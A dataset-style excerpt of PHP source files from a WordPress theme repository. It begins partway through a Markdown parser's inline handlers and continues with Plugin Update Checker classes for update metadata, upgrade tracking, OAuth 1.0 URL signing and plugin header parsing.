if ($Excerpt['text'][1] !== ' ' and preg_match('/^<\w*(?:[ ]*'.$this->regexHtmlAttribute.')*[ ]*\/?>/s', $Excerpt['text'], $matches))
{
return array(
'markup' => $matches[0],
'extent' => strlen($matches[0]),
);
}
}
protected function inlineSpecialCharacter($Excerpt)
{
if ($Excerpt['text'][0] === '&' and ! preg_match('/^&#?\w+;/', $Excerpt['text']))
{
return array(
'markup' => '&',
'extent' => 1,
);
}
$SpecialCharacter = array('>' => 'gt', '<' => 'lt', '"' => 'quot');
if (isset($SpecialCharacter[$Excerpt['text'][0]]))
{
return array(
'markup' => '&'.$SpecialCharacter[$Excerpt['text'][0]].';',
'extent' => 1,
);
}
}
protected function inlineStrikethrough($Excerpt)
{
if ( ! isset($Excerpt['text'][1]))
{
return;
}
if ($Excerpt['text'][1] === '~' and preg_match('/^~~(?=\S)(.+?)(?<=\S)~~/', $Excerpt['text'], $matches))
{
return array(
'extent' => strlen($matches[0]),
'element' => array(
'name' => 'del',
'text' => $matches[1],
'handler' => 'line',
),
);
}
}
protected function inlineUrl($Excerpt)
{
if ($this->urlsLinked !== true or ! isset($Excerpt['text'][2]) or $Excerpt['text'][2] !== '/')
{
return;
}
if (preg_match('/\bhttps?:[\/]{2}[^\s<]+\b\/*/ui', $Excerpt['context'], $matches, PREG_OFFSET_CAPTURE))
{
$Inline = array(
'extent' => strlen($matches[0][0]),
'position' => $matches[0][1],
'element' => array(
'name' => 'a',
'text' => $matches[0][0],
'attributes' => array(
'href' => $matches[0][0],
),
),
);
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | true |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/update/Puc/v4/Factory.php | admin/update/Puc/v4/Factory.php | <?php
if ( !class_exists('Puc_v4_Factory', false) ):
class Puc_v4_Factory extends Puc_v4p11_Factory { }
endif;
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/update/Puc/v4p11/Metadata.php | admin/update/Puc/v4p11/Metadata.php | <?php
if ( !class_exists('Puc_v4p11_Metadata', false) ):
/**
* A base container for holding information about updates and plugin metadata.
*
* @author Janis Elsts
* @copyright 2016
* @access public
*/
abstract class Puc_v4p11_Metadata {
/**
* Create an instance of this class from a JSON document.
*
* @abstract
* @param string $json
* @return self
*/
public static function fromJson(/** @noinspection PhpUnusedParameterInspection */ $json) {
throw new LogicException('The ' . __METHOD__ . ' method must be implemented by subclasses');
}
/**
* @param string $json
* @param self $target
* @return bool
*/
protected static function createFromJson($json, $target) {
/** @var StdClass $apiResponse */
$apiResponse = json_decode($json);
if ( empty($apiResponse) || !is_object($apiResponse) ){
$errorMessage = "Failed to parse update metadata. Try validating your .json file with http://jsonlint.com/";
do_action('puc_api_error', new WP_Error('puc-invalid-json', $errorMessage));
trigger_error($errorMessage, E_USER_NOTICE);
return false;
}
$valid = $target->validateMetadata($apiResponse);
if ( is_wp_error($valid) ){
do_action('puc_api_error', $valid);
trigger_error($valid->get_error_message(), E_USER_NOTICE);
return false;
}
foreach(get_object_vars($apiResponse) as $key => $value){
$target->$key = $value;
}
return true;
}
/**
* No validation by default! Subclasses should check that the required fields are present.
*
* @param StdClass $apiResponse
* @return bool|WP_Error
*/
protected function validateMetadata(/** @noinspection PhpUnusedParameterInspection */ $apiResponse) {
return true;
}
/**
* Create a new instance by copying the necessary fields from another object.
*
* @abstract
* @param StdClass|self $object The source object.
* @return self The new copy.
*/
public static function fromObject(/** @noinspection PhpUnusedParameterInspection */ $object) {
throw new LogicException('The ' . __METHOD__ . ' method must be implemented by subclasses');
}
/**
* Create an instance of StdClass that can later be converted back to an
* update or info container. Useful for serialization and caching, as it
* avoids the "incomplete object" problem if the cached value is loaded
* before this class.
*
* @return StdClass
*/
public function toStdClass() {
$object = new stdClass();
$this->copyFields($this, $object);
return $object;
}
/**
* Transform the metadata into the format used by WordPress core.
*
* @return object
*/
abstract public function toWpFormat();
/**
* Copy known fields from one object to another.
*
* @param StdClass|self $from
* @param StdClass|self $to
*/
protected function copyFields($from, $to) {
$fields = $this->getFieldNames();
if ( property_exists($from, 'slug') && !empty($from->slug) ) {
//Let plugins add extra fields without having to create subclasses.
$fields = apply_filters($this->getPrefixedFilter('retain_fields') . '-' . $from->slug, $fields);
}
foreach ($fields as $field) {
if ( property_exists($from, $field) ) {
$to->$field = $from->$field;
}
}
}
/**
* @return string[]
*/
protected function getFieldNames() {
return array();
}
/**
* @param string $tag
* @return string
*/
protected function getPrefixedFilter($tag) {
return 'puc_' . $tag;
}
}
endif;
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/update/Puc/v4p11/UpgraderStatus.php | admin/update/Puc/v4p11/UpgraderStatus.php | <?php
if ( !class_exists('Puc_v4p11_UpgraderStatus', false) ):
/**
* A utility class that helps figure out which plugin or theme WordPress is upgrading.
*
* It may seem strange to have a separate class just for that, but the task is surprisingly complicated.
* Core classes like Plugin_Upgrader don't expose the plugin file name during an in-progress update (AFAICT).
* This class uses a few workarounds and heuristics to get the file name.
*/
class Puc_v4p11_UpgraderStatus {
private $currentType = null; //"plugin" or "theme".
private $currentId = null; //Plugin basename or theme directory name.
public function __construct() {
//Keep track of which plugin/theme WordPress is currently upgrading.
add_filter('upgrader_pre_install', array($this, 'setUpgradedThing'), 10, 2);
add_filter('upgrader_package_options', array($this, 'setUpgradedPluginFromOptions'), 10, 1);
add_filter('upgrader_post_install', array($this, 'clearUpgradedThing'), 10, 1);
add_action('upgrader_process_complete', array($this, 'clearUpgradedThing'), 10, 1);
}
/**
* Is there and update being installed RIGHT NOW, for a specific plugin?
*
* Caution: This method is unreliable. WordPress doesn't make it easy to figure out what it is upgrading,
* and upgrader implementations are liable to change without notice.
*
* @param string $pluginFile The plugin to check.
* @param WP_Upgrader|null $upgrader The upgrader that's performing the current update.
* @return bool True if the plugin identified by $pluginFile is being upgraded.
*/
public function isPluginBeingUpgraded($pluginFile, $upgrader = null) {
return $this->isBeingUpgraded('plugin', $pluginFile, $upgrader);
}
/**
* Is there an update being installed for a specific theme?
*
* @param string $stylesheet Theme directory name.
* @param WP_Upgrader|null $upgrader The upgrader that's performing the current update.
* @return bool
*/
public function isThemeBeingUpgraded($stylesheet, $upgrader = null) {
return $this->isBeingUpgraded('theme', $stylesheet, $upgrader);
}
/**
* Check if a specific theme or plugin is being upgraded.
*
* @param string $type
* @param string $id
* @param Plugin_Upgrader|WP_Upgrader|null $upgrader
* @return bool
*/
protected function isBeingUpgraded($type, $id, $upgrader = null) {
if ( isset($upgrader) ) {
list($currentType, $currentId) = $this->getThingBeingUpgradedBy($upgrader);
if ( $currentType !== null ) {
$this->currentType = $currentType;
$this->currentId = $currentId;
}
}
return ($this->currentType === $type) && ($this->currentId === $id);
}
/**
* Figure out which theme or plugin is being upgraded by a WP_Upgrader instance.
*
* Returns an array with two items. The first item is the type of the thing that's being
* upgraded: "plugin" or "theme". The second item is either the plugin basename or
* the theme directory name. If we can't determine what the upgrader is doing, both items
* will be NULL.
*
* Examples:
* ['plugin', 'plugin-dir-name/plugin.php']
* ['theme', 'theme-dir-name']
*
* @param Plugin_Upgrader|WP_Upgrader $upgrader
* @return array
*/
private function getThingBeingUpgradedBy($upgrader) {
if ( !isset($upgrader, $upgrader->skin) ) {
return array(null, null);
}
//Figure out which plugin or theme is being upgraded.
$pluginFile = null;
$themeDirectoryName = null;
$skin = $upgrader->skin;
if ( isset($skin->theme_info) && ($skin->theme_info instanceof WP_Theme) ) {
$themeDirectoryName = $skin->theme_info->get_stylesheet();
} elseif ( $skin instanceof Plugin_Upgrader_Skin ) {
if ( isset($skin->plugin) && is_string($skin->plugin) && ($skin->plugin !== '') ) {
$pluginFile = $skin->plugin;
}
} elseif ( $skin instanceof Theme_Upgrader_Skin ) {
if ( isset($skin->theme) && is_string($skin->theme) && ($skin->theme !== '') ) {
$themeDirectoryName = $skin->theme;
}
} elseif ( isset($skin->plugin_info) && is_array($skin->plugin_info) ) {
//This case is tricky because Bulk_Plugin_Upgrader_Skin (etc) doesn't actually store the plugin
//filename anywhere. Instead, it has the plugin headers in $plugin_info. So the best we can
//do is compare those headers to the headers of installed plugins.
$pluginFile = $this->identifyPluginByHeaders($skin->plugin_info);
}
if ( $pluginFile !== null ) {
return array('plugin', $pluginFile);
} elseif ( $themeDirectoryName !== null ) {
return array('theme', $themeDirectoryName);
}
return array(null, null);
}
/**
* Identify an installed plugin based on its headers.
*
* @param array $searchHeaders The plugin file header to look for.
* @return string|null Plugin basename ("foo/bar.php"), or NULL if we can't identify the plugin.
*/
private function identifyPluginByHeaders($searchHeaders) {
if ( !function_exists('get_plugins') ){
/** @noinspection PhpIncludeInspection */
require_once( ABSPATH . '/wp-admin/includes/plugin.php' );
}
$installedPlugins = get_plugins();
$matches = array();
foreach($installedPlugins as $pluginBasename => $headers) {
$diff1 = array_diff_assoc($headers, $searchHeaders);
$diff2 = array_diff_assoc($searchHeaders, $headers);
if ( empty($diff1) && empty($diff2) ) {
$matches[] = $pluginBasename;
}
}
//It's possible (though very unlikely) that there could be two plugins with identical
//headers. In that case, we can't unambiguously identify the plugin that's being upgraded.
if ( count($matches) !== 1 ) {
return null;
}
return reset($matches);
}
/**
* @access private
*
* @param mixed $input
* @param array $hookExtra
* @return mixed Returns $input unaltered.
*/
public function setUpgradedThing($input, $hookExtra) {
if ( !empty($hookExtra['plugin']) && is_string($hookExtra['plugin']) ) {
$this->currentId = $hookExtra['plugin'];
$this->currentType = 'plugin';
} elseif ( !empty($hookExtra['theme']) && is_string($hookExtra['theme']) ) {
$this->currentId = $hookExtra['theme'];
$this->currentType = 'theme';
} else {
$this->currentType = null;
$this->currentId = null;
}
return $input;
}
/**
* @access private
*
* @param array $options
* @return array
*/
public function setUpgradedPluginFromOptions($options) {
if ( isset($options['hook_extra']['plugin']) && is_string($options['hook_extra']['plugin']) ) {
$this->currentType = 'plugin';
$this->currentId = $options['hook_extra']['plugin'];
} else {
$this->currentType = null;
$this->currentId = null;
}
return $options;
}
/**
* @access private
*
* @param mixed $input
* @return mixed Returns $input unaltered.
*/
public function clearUpgradedThing($input = null) {
$this->currentId = null;
$this->currentType = null;
return $input;
}
}
endif;
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/update/Puc/v4p11/OAuthSignature.php | admin/update/Puc/v4p11/OAuthSignature.php | <?php
if ( !class_exists('Puc_v4p11_OAuthSignature', false) ):
/**
* A basic signature generator for zero-legged OAuth 1.0.
*/
class Puc_v4p11_OAuthSignature {
private $consumerKey = '';
private $consumerSecret = '';
public function __construct($consumerKey, $consumerSecret) {
$this->consumerKey = $consumerKey;
$this->consumerSecret = $consumerSecret;
}
/**
* Sign a URL using OAuth 1.0.
*
* @param string $url The URL to be signed. It may contain query parameters.
* @param string $method HTTP method such as "GET", "POST" and so on.
* @return string The signed URL.
*/
public function sign($url, $method = 'GET') {
$parameters = array();
//Parse query parameters.
$query = parse_url($url, PHP_URL_QUERY);
if ( !empty($query) ) {
parse_str($query, $parsedParams);
if ( is_array($parameters) ) {
$parameters = $parsedParams;
}
//Remove the query string from the URL. We'll replace it later.
$url = substr($url, 0, strpos($url, '?'));
}
$parameters = array_merge(
$parameters,
array(
'oauth_consumer_key' => $this->consumerKey,
'oauth_nonce' => $this->nonce(),
'oauth_signature_method' => 'HMAC-SHA1',
'oauth_timestamp' => time(),
'oauth_version' => '1.0',
)
);
unset($parameters['oauth_signature']);
//Parameters must be sorted alphabetically before signing.
ksort($parameters);
//The most complicated part of the request - generating the signature.
//The string to sign contains the HTTP method, the URL path, and all of
//our query parameters. Everything is URL encoded. Then we concatenate
//them with ampersands into a single string to hash.
$encodedVerb = urlencode($method);
$encodedUrl = urlencode($url);
$encodedParams = urlencode(http_build_query($parameters, '', '&'));
$stringToSign = $encodedVerb . '&' . $encodedUrl . '&' . $encodedParams;
//Since we only have one OAuth token (the consumer secret) we only have
//to use it as our HMAC key. However, we still have to append an & to it
//as if we were using it with additional tokens.
$secret = urlencode($this->consumerSecret) . '&';
//The signature is a hash of the consumer key and the base string. Note
//that we have to get the raw output from hash_hmac and base64 encode
//the binary data result.
$parameters['oauth_signature'] = base64_encode(hash_hmac('sha1', $stringToSign, $secret, true));
return ($url . '?' . http_build_query($parameters));
}
/**
* Generate a random nonce.
*
* @return string
*/
private function nonce() {
$mt = microtime();
$rand = null;
if ( is_callable('random_bytes') ) {
try {
$rand = random_bytes(16);
} catch (Exception $ex) {
//Fall back to mt_rand (below).
}
}
if ( $rand === null ) {
$rand = mt_rand();
}
return md5($mt . '_' . $rand);
}
}
endif;
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/update/Puc/v4p11/InstalledPackage.php | admin/update/Puc/v4p11/InstalledPackage.php | <?php
if ( !class_exists('Puc_v4p11_InstalledPackage', false) ):
/**
* This class represents a currently installed plugin or theme.
*
* Not to be confused with the "package" field in WP update API responses that contains
* the download URL of a the new version.
*/
abstract class Puc_v4p11_InstalledPackage {
/**
* @var Puc_v4p11_UpdateChecker
*/
protected $updateChecker;
public function __construct($updateChecker) {
$this->updateChecker = $updateChecker;
}
/**
* Get the currently installed version of the plugin or theme.
*
* @return string|null Version number.
*/
abstract public function getInstalledVersion();
/**
* Get the full path of the plugin or theme directory (without a trailing slash).
*
* @return string
*/
abstract public function getAbsoluteDirectoryPath();
/**
* Check whether a regular file exists in the package's directory.
*
* @param string $relativeFileName File name relative to the package directory.
* @return bool
*/
public function fileExists($relativeFileName) {
return is_file(
$this->getAbsoluteDirectoryPath()
. DIRECTORY_SEPARATOR
. ltrim($relativeFileName, '/\\')
);
}
/* -------------------------------------------------------------------
* File header parsing
* -------------------------------------------------------------------
*/
/**
* Parse plugin or theme metadata from the header comment.
*
* This is basically a simplified version of the get_file_data() function from /wp-includes/functions.php.
* It's intended as a utility for subclasses that detect updates by parsing files in a VCS.
*
* @param string|null $content File contents.
* @return string[]
*/
public function getFileHeader($content) {
$content = (string)$content;
//WordPress only looks at the first 8 KiB of the file, so we do the same.
$content = substr($content, 0, 8192);
//Normalize line endings.
$content = str_replace("\r", "\n", $content);
$headers = $this->getHeaderNames();
$results = array();
foreach ($headers as $field => $name) {
$success = preg_match('/^[ \t\/*#@]*' . preg_quote($name, '/') . ':(.*)$/mi', $content, $matches);
if ( ($success === 1) && $matches[1] ) {
$value = $matches[1];
if ( function_exists('_cleanup_header_comment') ) {
$value = _cleanup_header_comment($value);
}
$results[$field] = $value;
} else {
$results[$field] = '';
}
}
return $results;
}
/**
* @return array Format: ['HeaderKey' => 'Header Name']
*/
abstract protected function getHeaderNames();
/**
* Get the value of a specific plugin or theme header.
*
* @param string $headerName
* @return string Either the value of the header, or an empty string if the header doesn't exist.
*/
abstract public function getHeaderValue($headerName);
}
endif;
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.